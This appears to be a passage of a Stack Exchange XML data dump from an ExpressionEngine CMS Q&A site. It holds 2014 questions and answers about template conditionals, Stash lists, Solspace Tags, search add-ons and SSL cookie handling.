  <row Id="23974" PostTypeId="1" AcceptedAnswerId="23975" CreationDate="2014-06-25T16:26:20.747" Score="1" ViewCount="368" Body="&lt;p&gt;Have an instance where there are two entries - one needs to be shown for six months of the year and the other for the second six months.... looking at a conditional which essentially says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;if date_range = January-June&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Show this&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If else&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Show this&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is it doable with EE's native conditionals or does it need another approach?&lt;/p&gt;&#xA;" OwnerUserId="2748" LastActivityDate="2014-07-02T14:59:26.217" Title="Conditional to show entry by date range?" Tags="|conditionals|date|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23975" PostTypeId="2" ParentId="23974" CreationDate="2014-06-25T16:39:09.060" Score="4" Body="&lt;p&gt;The following conditional will achieve what you want:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {current_time format=&quot;%m&quot;} &amp;lt;= 6}&#xA;  &amp;lt;p&amp;gt;do Jan through June&amp;lt;/p&amp;gt;&#xA;{if:else}&#xA;  &amp;lt;p&amp;gt;do July through December&amp;lt;/p&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; Replying to request for March-thru-September date range:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the &lt;code&gt;%m&lt;/code&gt; flag on the date format represents each month as a number (and conveniently &lt;em&gt;one-based&lt;/em&gt; at that), to achieve what you would like you would simply change the code to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {current_time format=&quot;%m&quot;} &amp;gt;= 3 &amp;amp;&amp;amp; {current_time format=&quot;%m&quot;} &amp;lt;= 9}&#xA;    &amp;lt;p&amp;gt;do March through September&amp;lt;/p&amp;gt;&#xA;{if:else}&#xA;    &amp;lt;p&amp;gt;do January, February, October, November or December&amp;lt;/p&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="819" LastEditorUserId="819" LastEditDate="2014-07-02T14:59:26.217" LastActivityDate="2014-07-02T14:59:26.217" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23977" PostTypeId="1" AcceptedAnswerId="23986" CreationDate="2014-06-25T16:49:42.460" Score="0" ViewCount="67" Body="&lt;p&gt;I'm trying to Stash the Solspace Tags for a Channel Entry as a list and then get them on the view template. However, the view template is not displaying any tags, even though there are some assigned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how i'm setting the lists (notice the nested list for the Solspace Tags);&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;place-{segment_1}&quot; parse_tags=&quot;yes&quot; parse_depth=&quot;10&quot; save=&quot;yes&quot; scope=&quot;site&quot;}&#xA;    {exp:channel:entries&#xA;        channel=&quot;places&quot;&#xA;        status=&quot;open&quot;&#xA;    }&#xA;&#xA;        {stash:place_title}{title}{/stash:place_title}&#xA;        {stash:place_entry_id}{entry_id}{/stash:place_entry_id}&#xA;&#xA;        {exp:tag:tags&#xA;            entry_id=&quot;{entry_id}&quot;&#xA;            backspace=&quot;2&quot;&#xA;            orderby=&quot;tag_name&quot;&#xA;            sort=&quot;asc&quot;&#xA;        }&#xA;            {exp:stash:set_list:nested context=&quot;{place_entry_id}&quot; name=&quot;place-{segment_1}-tags&quot; parse_tags=&quot;yes&quot; save=&quot;yes&quot; scope=&quot;site&quot; refresh=&quot;60&quot;}&#xA;&#xA;                {stash:tag}{tag}{/stash:tag}&#xA;&#xA;            {/exp:stash:set_list:nested}&#xA;        {/exp:tag:tags}&#xA;&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:set_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is how i'm trying to get the Tags;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get_list name=&quot;place-{segment_1}&quot;}&#xA;&#xA;    {place_title}&#xA;&#xA;    {exp:stash:get_list:nested context=&quot;{place_entry_id}&quot; name=&quot;place-{segment_1}-tags&quot;}&#xA;        {tag}&#xA;    {/exp:stash:get_list:nested}&#xA;&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would be grateful for any assistance. :)&lt;/p&gt;&#xA;" OwnerUserId="466" LastActivityDate="2014-06-25T18:54:03.323" Title="Using Stash to set and get a list of entry Solspace Tags" Tags="|stash|tags|solspace-tag|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23978" PostTypeId="1" AcceptedAnswerId="24020" CreationDate="2014-06-25T16:50:51.647" Score="0" ViewCount="19" Body="&lt;p&gt;Is it possible to move some tags from one tag group to another or I need to add them manually and then delete if from exiting group?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2014-06-27T02:38:17.957" Title="Solspace Tag and moving tags from one group to another" Tags="|solspace-tag|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23979" PostTypeId="1" CreationDate="2014-06-25T17:02:23.800" Score="0" ViewCount="30" Body="&lt;p&gt;I have created tags group &quot;Attributes&quot;, which contain tags for product colors, material which was made etc. Next I want to sort products by one of tag from that group (a drop down menu &quot;sort by&quot; and there are listed all tags from that group). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know how to display all tags from that group, but I'm not able to retrieve tags for displayed products only (for an example there is no red color so shouldn't be displayed).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any clue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2014-06-25T17:02:23.800" Title="Solspace Tag and sorting by tags from tag group" Tags="|tags|solspace-tag|sorting|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23980" PostTypeId="1" AcceptedAnswerId="24188" CreationDate="2014-06-25T17:09:39.790" Score="0" ViewCount="45" Body="&lt;p&gt;I have created tags group &quot;Attributes&quot;, which contain tags for product colors, material which was made etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have set that tag field as searchable, but I have hit a wall on searching site using tags from the &quot;Attribute&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: searching for &quot;red Pinto Paris armchair&quot; where 'red' is an attribute tag, 'Pinto Paris' is the product name (EE title entry field) and an 'armchair' comes from the product description (EE entry field). I'm able to search for &quot;Pinto Paris armchair&quot; but is not show up only those armchairs tagged as a red.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Search snippet looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:search:simple_form channel=&quot;products&quot; search_in=&quot;everywhere&quot; result_page=&quot;search&quot; no_result_page=&quot;search/noresults&quot; status=&quot;retail|open&quot; where=&quot;all&quot; results=&quot;12&quot;}&#xA;          &amp;lt;label for=&quot;keywords&quot;&amp;gt;Search&amp;lt;/label&amp;gt;&#xA;          &amp;lt;input type=&quot;text&quot; name=&quot;keywords&quot; id=&quot;keywords&quot; placeholder=&quot;Search&quot; /&amp;gt;&#xA;          &amp;lt;button type=&quot;submit&quot; name=&quot;submit&quot;&amp;gt;&amp;lt;i class=&quot;icon-chevron-right&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/button&amp;gt;&#xA;{/exp:search:simple_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any clue what can be wrong? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1577" LastEditorUserId="1577" LastEditDate="2014-07-03T17:39:00.427" LastActivityDate="2014-07-04T02:24:54.693" Title="Solspace Tag and serach by tags from tag group" Tags="|search|tags|solspace-tag|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23981" PostTypeId="2" ParentId="23934" CreationDate="2014-06-25T17:41:13.470" Score="1" Body="&lt;p&gt;Check your fieldtype settings. If &quot;Overwrite entry date&quot; is set to Yes, you should also add &lt;code&gt;show_future_entries=&quot;yes&quot;&lt;/code&gt; to the Entries tag.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-06-25T17:41:13.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23982" PostTypeId="2" ParentId="23968" CreationDate="2014-06-25T17:43:19.063" Score="1" Body="&lt;p&gt;The value of the option is the &lt;code&gt;{year}&lt;/code&gt; val, so use &lt;code&gt;year&lt;/code&gt; instead of &lt;code&gt;date_url&lt;/code&gt; in your conditional.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-06-25T17:43:19.063" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23983" PostTypeId="2" ParentId="23931" CreationDate="2014-06-25T18:21:02.213" Score="0" Body="&lt;p&gt;On your form, you could set the password field as &quot;hidden&quot; and give it a value. (Either hardcode in a value or - better yet - have some randomly-generated string as that field value.) Then, as part of the account verification process, they're shown a link to retrieve their &quot;lost&quot; password and reset it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The downside there is that the password - whether randomly-generated or hardcoded - would be visible in the page source. This could net you a lot of spam signups, which is never fun.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a reason you're doing this? If you're trying to cut down on spam signups, and force a multi-step account verification procedure, couldn't you route everyone into a certain member group, and have all new members perform some minor task (entering some data into a form that's visible only to members in that group, for example) - and then everyone who doesn't perform that task in five days, their membership is either deleted, or they're moved to the Banned members group?&lt;/p&gt;&#xA;" OwnerDisplayName="user800" LastActivityDate="2014-06-25T18:21:02.213" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23986" PostTypeId="2" ParentId="23977" CreationDate="2014-06-25T18:54:03.323" Score="1" Body="&lt;p&gt;You're nearly there. Just got the nested list tags the wrong way round, and you have to use the &lt;code&gt;{entry_id}&lt;/code&gt; from the channel entries tag as the unique context when setting the list since &lt;code&gt;{place_entry_id}&lt;/code&gt; is only available when &lt;em&gt;getting&lt;/em&gt; the list:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;place-{segment_1}&quot; parse_tags=&quot;yes&quot; parse_depth=&quot;3&quot; save=&quot;yes&quot; scope=&quot;site&quot;}&#xA;    {exp:channel:entries&#xA;        channel=&quot;places&quot;&#xA;        status=&quot;open&quot;&#xA;    }&#xA;        {stash:place_title}{title}{/stash:place_title}&#xA;        {stash:place_entry_id}{entry_id}{/stash:place_entry_id}&#xA;&#xA;        {exp:stash:set_list:nested context=&quot;{entry_id}&quot; name=&quot;place-{segment_1}-tags&quot; parse_tags=&quot;yes&quot; save=&quot;yes&quot; scope=&quot;site&quot; refresh=&quot;60&quot;}&#xA;            {exp:tag:tags&#xA;                entry_id=&quot;{entry_id}&quot;&#xA;                orderby=&quot;tag_name&quot;&#xA;                sort=&quot;asc&quot;&#xA;            }&#xA;                {stash:tag}{tag}{/stash:tag}&#xA;            {/exp:tag:tags}&#xA;        {/exp:stash:set_list:nested}&#xA;&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:set_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="289" LastActivityDate="2014-06-25T18:54:03.323" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23987" PostTypeId="1" AcceptedAnswerId="24005" CreationDate="2014-06-25T18:56:43.710" Score="3" ViewCount="441" Body="&lt;p&gt;Let's say I have a membership site, and my login page &amp;amp; form are served with SSL: &lt;code&gt;https://mysite.com/member/login&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form action='https://mysite.com' method='post' class='login'&amp;gt;&#xA;    &amp;lt;!-- login form inputs --&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The user logs in and EE sets a cookie so she remains logged in. It also sets &lt;a href=&quot;https://gist.github.com/linssen/2767673#file-ee2x_cookies-md&quot; rel=&quot;nofollow&quot;&gt;some other cookies&lt;/a&gt; to track some other stuff about her. But then the member navigates to my homepage which is &lt;strong&gt;not&lt;/strong&gt; served over SSL: &lt;code&gt;http://mysite.com/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are the user's membership cookies now susceptible to being intercepted because they're not being sent over SSL? If they are intercepted, can they be used by a baddie to cause trouble on my site?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultimately, should any site with front-end membership functionality use SSL on &lt;em&gt;every&lt;/em&gt; page, not just pages with sensitive data &amp;amp; forms?&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2014-07-02T15:50:04.240" Title="Variable SSL and Cookies" Tags="|members|security|ssl|cookies|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23990" PostTypeId="1" AcceptedAnswerId="23996" CreationDate="2014-06-25T20:09:39.090" Score="0" ViewCount="70" Body="&lt;p&gt;I've got an issue where results from the wrong channel are showing up on the results page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some background on the site:&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Channels&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;pages_nl&lt;/li&gt;&#xA;&lt;li&gt;pages_fr&lt;/li&gt;&#xA;&lt;li&gt;pages_en&lt;/li&gt;&#xA;&lt;li&gt;vehicle_nl&lt;/li&gt;&#xA;&lt;li&gt;vehicle_fr&lt;/li&gt;&#xA;&lt;li&gt;vehicle_en&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The search results tag looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results  &#xA;  collection=&quot;vehicles_{segment_1}|pages_{segment_1}&quot;&#xA;    status=&quot;not closed&quot;&#xA;    limit=&quot;10&quot;&#xA;    disable=&quot;member_data&quot;&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The results look like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;entry from &lt;strong&gt;vehicle_nl&lt;/strong&gt;, entry_id is &lt;strong&gt;1401&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;entry from &lt;strong&gt;page_fr&lt;/strong&gt;, entry_id is &lt;strong&gt;1390&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;entry from &lt;strong&gt;page_nl&lt;/strong&gt;, entry_id is &lt;strong&gt;1338&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;entry from &lt;strong&gt;page_en&lt;/strong&gt;, entry_id is &lt;strong&gt;1364&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So if I'm reading it correctly, entries 1390 and 1364 should not be in this list.&#xA;I've rebuilt all indexes, no joy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem isn't specific to these entries, other queries that have a match in the 3 languages show up as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We use the same template/low_search:results tag for the results pages in the other languages and those are fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions on how to debug this?&lt;/p&gt;&#xA;" OwnerUserId="1192" LastActivityDate="2014-08-25T06:53:40.853" Title="Entries from wrong channel in results page" Tags="|low-search|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23991" PostTypeId="1" AcceptedAnswerId="24004" CreationDate="2014-06-25T20:21:38.740" Score="0" ViewCount="177" Body="&lt;p&gt;In latest version of Wygwam for EE: can I add a custom class to a table without going into view source mode? I am thinking something similar to links, where I can click on the advanced tab and set the class, id, etc. But for tables, there is nothing similar... My clients are not good at viewing or changing source, so this feature would really help if it's available.&lt;/p&gt;&#xA;" OwnerUserId="3148" LastActivityDate="2014-06-26T12:43:48.657" Title="Wygwam table classes" Tags="|wygwam|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23992" PostTypeId="2" ParentId="23943" CreationDate="2014-06-25T21:36:50.493" Score="1" Body="&lt;p&gt;If you only have a single channel that you are trying to exclude I often find it easier to use the not parameter to your template tags. The following would not show any entries from a channel with a short name of &quot;excluded_channel&quot; or any entries that have a status that is set to closed.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:super_search:results&#xA;    channel=&quot;not excluded_channel&quot;&#xA;    status=&quot;not closed&quot;&#xA;    limit=&quot;10&quot;   &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can add a pipe delimiter between multiple channels or status to exclude multiple. i.e. &lt;code&gt;status=&quot;not closed|preview&quot;&lt;/code&gt; or &lt;code&gt;channel=&quot;not excluded_channel|home&quot;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-06-25T21:36:50.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23993" PostTypeId="1" AcceptedAnswerId="24021" CreationDate="2014-06-26T00:39:39.393" Score="0" ViewCount="93" Body="&lt;p&gt;I am getting the following error when I go to the My Account section in the CP and click on Edit Profile. It's preventing me from saving my updates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A PHP Error was encountered&#xA;Severity: Notice&#xA;Message: Undefined offset: 0&#xA;Filename: cp/myaccount.php&#xA;Line Number: 349&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EE 2.7.2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Modules:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Calendar 1.8.6&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Channel Images 5.4.12&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Forum 3.1.13&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Facebook Connect 2.1.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Freeform Pro 4.1.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Importer 2.2.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mailing List 1.0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pages 2.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Postmaster 1.4.7&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Super Search 2.1.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;User 3.4.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wygwam 3.2.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Extensions (not listed in Modules)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Matrix&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Playa&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Resource Router&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stash&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;FieldTypes (not listed above)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CKI Member List&lt;/p&gt;&#xA;&#xA;&lt;p&gt;VMG Chosen Member&lt;/p&gt;&#xA;" OwnerUserId="2290" LastEditorUserId="2290" LastEditDate="2014-06-26T22:32:30.197" LastActivityDate="2014-06-27T02:54:57.057" Title="Control Panel PHP Error" Tags="|control-panel|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23994" PostTypeId="2" ParentId="23987" CreationDate="2014-06-26T02:18:02.203" Score="-1" Body="&lt;p&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why NOT use SSL on every page is a good question? The extra server load is negligible, it makes things much simpler (not detect/re-direct etc) - and it makes the entire site look trustworthy. The main potential disadvantages are if you're using off site assets that are not served over SSL, which will give mixed content warnings.&lt;/p&gt;&#xA;" OwnerUserId="1532" LastEditorUserId="1532" LastEditDate="2014-06-26T22:33:09.380" LastActivityDate="2014-06-26T22:33:09.380" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23995" PostTypeId="2" ParentId="23945" CreationDate="2014-06-26T04:18:05.990" Score="0" Body="&lt;p&gt;I have done this via stash (is there nothing it can't solve?!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Following the basic approach of the excellent article here:&#xA;&lt;a href=&quot;https://pixelfear.com/blog/maintainable-emails-with-stash-and-postmaster&quot; rel=&quot;nofollow&quot;&gt;https://pixelfear.com/blog/maintainable-emails-with-stash-and-postmaster&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This allows one to pass the entry_id of the order to the email template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;pre&gt;&lt;code&gt;&#xA;{exp:stash:embed&#xA;  name=&quot;emails:super_receipt&quot;&#xA;  process=&quot;start&quot;&#xA;  &lt;strong&gt;stash:e_id=&quot;{hook:entry_id}&quot;&lt;/strong&gt;&#xA;}&#xA;&lt;/pre&gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(this is using the cartthrob_on_authorize hook, and I have another for cartthrob_on_processing)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the emails:super_receipt template, I then use this to retrieve the order details and order item details (I actually use some nice encapsulated re-useable stash models for these, but basically these are just channel entries loops which pull the data from the channel and bung it into stash variables and the items into a stash list)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;pre&gt;&lt;code&gt;&#xA;{exp:channel:entries channel=&quot;orders&quot; entry_id=&quot;{stash:e_id}&quot;  status=&quot;not closed&quot; dynamic=&quot;no&quot; parse=&quot;inward&quot;}&#xA;    {!-- Order Data--}&#xA;    {exp:stash:set name=&quot;order_title&quot;}{title}{/exp:stash:set}&#xA;    {exp:stash:set name=&quot;order_entry_id&quot;}{entry_id}{/exp:stash:set}&#xA;    {exp:stash:set name=&quot;order_url_title&quot;}{url_title}{/exp:stash:set}&#xA;etc.&#xA;&lt;/pre&gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then printing the data in the email (partial) template so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;pre&gt;&lt;code&gt;&#xA;{!-- The layout gets filled in with the data below --}&#xA;{stash:embed:layouts_emails:layout_basic}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{!-- takes the list order_items from model_order and creates list extended_product_info --}&#xA;{stash:embed:order_models:model_order_extended_product_info}&#xA;{!-- Gets the basic order data --}&#xA;{stash:embed:order_models:model_order}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:stash:set name=&quot;email_body&quot;}&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- ORDER DETAILS --}&#xA;{stash:order_title} ({stash:e_id})&#xA;&amp;lt;table&amp;gt;&#xA;    &amp;lt;thead&amp;gt;&#xA;        &amp;lt;tr&amp;gt;&#xA;            &amp;lt;th&amp;gt;&amp;lt;/th&amp;gt;&amp;lt;th&amp;gt;Qty.&amp;lt;/th&amp;gt;&amp;lt;th&amp;gt;Item&amp;lt;/th&amp;gt;&amp;lt;th&amp;gt;Price&amp;lt;th&amp;gt;Subtotal&amp;lt;/th&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;/thead&amp;gt;&#xA;    &amp;lt;tbody&amp;gt;&#xA;&#xA;{!-- this list has all the info from cartthrob order_items--}&#xA;{exp:stash:get_list name=&quot;order_items&quot; parse_tags=&quot;yes&quot; parse_depth=&quot;5&quot; sort=&quot;desc&quot; orderby=&quot;item_price_inc_numeric&quot; sort_type=&quot;numeric&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;etc&#xA;&lt;/pre&gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The beauty of this is that you can get ALL your order data, and indeed product data (e.g. pictures etc), and package it up how you need, and then have a file based (version controlled) - partial template that fills in a layout, just like you would anywhere else on your site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's fantastic and basically once the hook is set up you can stay out of the clunky postmaster editor (actually, it's a great editor for an embedded one, but it's no SublimeText ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you didn't want to take this approach, try doing your set up as a parcel first, rather than a hook, and in the editor get it to parse an order entry so you can see what data is available easily using the editor (although it will be {parcel:entry_id} rather than {hook:whatever} of course).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Postmaster is great - the documentation for it, though, is severely lacking in some basic examples of each cool thing it can do that would really help people get going with it.&lt;/p&gt;&#xA;" OwnerUserId="1532" LastActivityDate="2014-06-26T04:18:05.990" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23996" PostTypeId="2" ParentId="23990" CreationDate="2014-06-26T06:31:02.173" Score="1" Body="&lt;p&gt;Managed to fix it: some entries were in more then one collection in the exp_low_search_indexes table. Truncated those tables, rebuilt all indexes and the results were correct.&lt;/p&gt;&#xA;" OwnerUserId="1192" LastActivityDate="2014-06-26T06:31:02.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23997" PostTypeId="1" AcceptedAnswerId="24002" CreationDate="2014-06-26T07:49:05.753" Score="0" ViewCount="45" Body="&lt;p&gt;I would like to know if I can do this using ee or if I have to implement a PHP method. Basically I want a dropdown that lists years from the current year to the next ten years so: 2014, 2015, 2016 ..... until 2024. I want this to obviously change annually without me having to actually add ten years in the list every time it should just loop through. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I can get the year using this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{current_time format=&quot;%Y&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So are there things I can add or do to this date to get the dropdown I want? &lt;/p&gt;&#xA;" OwnerUserId="2865" LastActivityDate="2014-06-26T10:02:09.957" Title="Count and list the consecutive years for 10 years" Tags="|forms|ee|date-format|drop-down|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23998" PostTypeId="2" ParentId="718" CreationDate="2014-06-26T08:11:45.160" Score="0" Body="&lt;p&gt;There is a Firefox extension called &quot;It's All Text&quot; that adds a small button to the bottom (default) of the template editing box that opens the contents of the text box in any editor of your choosing. Upon saving, it writes the saved version back. Update and you're done!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/its-all-text/?src=ss&quot; rel=&quot;nofollow&quot;&gt;It's All Text Download (if you are already in the Firefox browser)&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2183" LastActivityDate="2014-06-26T08:11:45.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23999" PostTypeId="2" ParentId="23970" CreationDate="2014-06-26T08:18:32.430" Score="1" Body="&lt;p&gt;Resolved - upgrading Matrix to the latest version (was 2.2 now 2.5) and tghis has fixed the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the feedback and suggestions folk! &lt;/p&gt;&#xA;" OwnerUserId="333" LastActivityDate="2014-06-26T08:18:32.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24000" PostTypeId="2" ParentId="21492" CreationDate="2014-06-26T09:16:45.977" Score="1" Body="&lt;p&gt;I wrote a plug-in to do this some time back for EE1.x, should be pretty easy to upgrade to EE2.x if you want to fork it...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/ninefour/change_member_group.pi.ee_addon/blob/master/system/plugins/pi.change_member_group.php&quot; rel=&quot;nofollow&quot;&gt;https://github.com/ninefour/change_member_group.pi.ee_addon/blob/master/system/plugins/pi.change_member_group.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, use with caution!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;:)&lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2014-06-26T09:16:45.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24001" PostTypeId="2" ParentId="22280" CreationDate="2014-06-26T09:43:09.930" Score="2" Body="&#xA;&#xA;&lt;p&gt;I had the same issue with the save button which Wygwam removed recently too. It was a bit of a battle but i have it back working now.( the pixel and tonic documentation leaves a lot to be desired on this area)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok first of all you need to download the add on from the ckeditor site , in my case it was a save button and I called the folder saveicon with the plugin within in a folder called save ( see the paths below).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Put the folder into /var/www/themes/third_party/&#xA;Then create a folder in /var/www/system/expressionengine/third_party/ , in my case I called it save.&#xA;my ext.save.php file is below which you put in the folder you create in third party.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;( change it to your own name eg ext.&lt;em&gt;*&lt;/em&gt;.php )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the code below change were I have &quot;save&quot; to your own plugin name and your own file 